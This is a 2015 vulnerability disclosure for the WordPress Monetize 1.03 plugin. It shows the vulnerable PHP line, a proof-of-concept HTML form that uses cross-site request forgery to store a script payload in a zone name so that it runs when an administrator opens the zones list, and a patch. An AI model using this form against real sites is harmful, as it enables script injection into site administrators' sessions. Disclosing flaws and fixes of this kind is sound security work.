Home / os / winmobile

WordPress Monetize 1.03 Cross Site Request Forgery / Cross Site Scripting

Posted on 09 August 2015

######################
# Exploit Title : Wordpress Monetize Plug-in XSS/CSRF
# Exploit Author : Ashiyane Digital Security Team
# Vendor Homepage : https://wordpress.org/plugins/monetize/
# Date: 2015-08-07
# Tested On : Kali Linux - FireFox
# Software Link : https://downloads.wordpress.org/plugin/monetize.zip
# Version : 1.03
######################
# Vulnerable Code:
File: class-monetize-zones-list-table.php - Line 45

$zone_name_link = '<a
href="?page=monetize-zones&monetize-zone-id='.$item['zone_id'].'">'.$item['zone_name'].'</a>';
######################
# Exploit:

<form name="monetize-zone-new-edit-form" method="post"
action="http://[URL]/[Path]/wp-admin/admin.php?page=monetize-zones-new">
<input style="width: 25em;" type="hidden"
value='"><script>alert(/Mahdi.Hidden/)</script>'
id="monetize-zone-name" name="monetize-zone-name" size="25"/>
<input type="hidden" value="222" name="monetize-zone-width" />
<input type="hidden" value="222" name="monetize-zone-height" />
<input type="hidden" value="222" name="monetize-zone-css" />
<input type="submit" value="Add New Zone" name="monetize-zone-new-edit" />
</form>

# Explain:

Use this exploit to add a "zone" which has malicious code and then if
admin goes to page "View All Zones" (URL:
/wp-admin/admin.php?page=monetize-zones) your code will execute.
######################
# Patch:
File: class-monetize-zones-list-table.php - Line 45

$zone_name_link = '<a
href="?page=monetize-zones&monetize-zone-id='.$item['zone_id'].'">'.htmlspecialchars($item['zone_name']).'</a>';
######################
# Discovered By : Mahdi.Hidden
######################

 

TOP